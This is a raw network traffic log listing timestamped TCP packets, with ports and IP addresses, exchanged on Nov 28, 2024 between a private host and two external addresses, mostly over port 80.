Nov 28, 2024 15:17:16.739876986 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.739922047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.742505074 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.742557049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.742685080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.742937088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.745186090 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.745237112 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.745274067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.745317936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.747973919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.748018980 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.748020887 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.748222113 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.750544071 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.750601053 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.750629902 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.750767946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.753176928 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.753226995 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.753294945 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.753338099 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.755866051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.755914927 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.756031990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.756113052 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.758586884 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.758641005 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.758670092 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.758771896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.761245012 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.761302948 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.761357069 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.761403084 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.763999939 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.764204979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.764204979 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.764266968 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.766539097 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.766597033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.789186001 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.789654970 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.789695024 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.790152073 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.790158033 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.791897058 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.791985989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.792063951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.792134047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.793853045 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.793864965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.793914080 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.793926001 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.794841051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.794941902 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.794996023 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.796952009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.797007084 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.797750950 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.797806025 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.797863960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.797908068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.799932957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.799933910 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.799990892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.800019026 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.800055981 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.800337076 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.800385952 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.800740004 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.800754070 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.802038908 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.802089930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.802186966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.802249908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.804131031 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.804177046 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.804208040 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.804254055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.806224108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.806271076 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.806278944 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.806344032 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.808320999 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.808367014 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.808424950 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.808548927 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.810478926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.810528040 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.810621023 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.810686111 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.812490940 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.812536955 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.812588930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.812628984 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.814657927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.814704895 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.814783096 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.814821959 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.816690922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.817048073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.817056894 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.817116976 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.818769932 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.818829060 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.818903923 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.819082975 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.820907116 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.820967913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.821024895 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.821170092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.822940111 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.823002100 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.823071003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.823146105 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.825067043 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.825114012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.825192928 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.825231075 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.827137947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.827203035 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.827261925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.827382088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.853394985 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.853550911 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.853600979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.853616953 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.854419947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.854468107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.854814053 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.854866028 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.854928017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.854978085 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.856899023 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.856945038 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.857014894 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.857059002 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.859003067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.859119892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.859136105 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.859321117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.861077070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.861144066 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.861146927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.861186028 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.863197088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.863257885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.863286972 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.863328934 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.865253925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.865312099 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.865365028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.865457058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.867351055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.867404938 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.867557049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.869452953 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.869496107 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.869522095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.869560003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.869864941 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.869935036 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.869950056 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.870419979 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.870424986 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.871567965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.871824026 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.871887922 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.873646021 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.873769999 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.873830080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.873939037 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.875752926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.875837088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.875965118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.877855062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.877912998 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.877979994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.878441095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.880007029 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.880043030 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.880073071 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.880114079 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.882138968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.882153034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.882205963 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.884118080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.884171963 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.923434019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.923501968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.923522949 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.923557043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.924345970 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.924458981 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.924468994 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.924642086 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.926224947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.926280022 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.926311016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.926347017 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.928092003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.928164959 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.928222895 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.928262949 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.930227041 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.930290937 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.930300951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.930339098 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.931721926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.931777954 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.931890965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.932141066 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.933470011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.933536053 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.933573961 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.933671951 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.935208082 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.935326099 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.935380936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.936928988 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.936952114 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.937005997 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.937041044 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.938577890 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.938649893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.938676119 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.938713074 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.940227032 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.940291882 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.940299988 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.940335989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.941847086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.941894054 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.941951990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.942214012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.943471909 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.943543911 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.943650961 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.943789005 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.945120096 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.945343018 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.945364952 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.945382118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.946722031 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.946831942 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.946893930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.948277950 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.948378086 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.948390961 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.948434114 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.949919939 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.949980021 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.950186968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.950234890 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.951482058 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.951530933 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.951653957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.951705933 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.953107119 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.953198910 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.953241110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.954734087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.954787016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.954827070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.954899073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.956326008 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.956377983 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.956439972 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.956480980 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.957921028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.957989931 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.958019018 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.958065033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.959557056 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.959611893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.959644079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.959830999 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.961086988 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.961141109 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.993165970 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.993223906 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.993299007 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.993339062 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.993748903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.993839979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.993980885 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.994039059 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.994072914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.994123936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.995242119 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.995292902 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.995358944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.995410919 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.996440887 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.996489048 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.996512890 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.996567965 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.997620106 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.997664928 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.997714996 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.997757912 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.998836040 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.998873949 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.998924971 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.998977900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.000041008 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.000061989 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.000086069 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.000102043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.001256943 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.001276016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.001302004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.001312971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.002427101 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.002481937 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.002522945 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.002578020 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.003648043 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.003706932 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.003710032 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.003782988 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.004801035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.004858017 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.004914045 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.004976034 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.005980968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.006026030 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.006100893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.006165981 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.007153034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.007220030 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.007292986 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.007345915 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.008342028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.008388042 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.008471966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.008512020 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.009537935 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.009582996 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.009676933 CET	80	49712	185.215.113.206	192.168.2.6
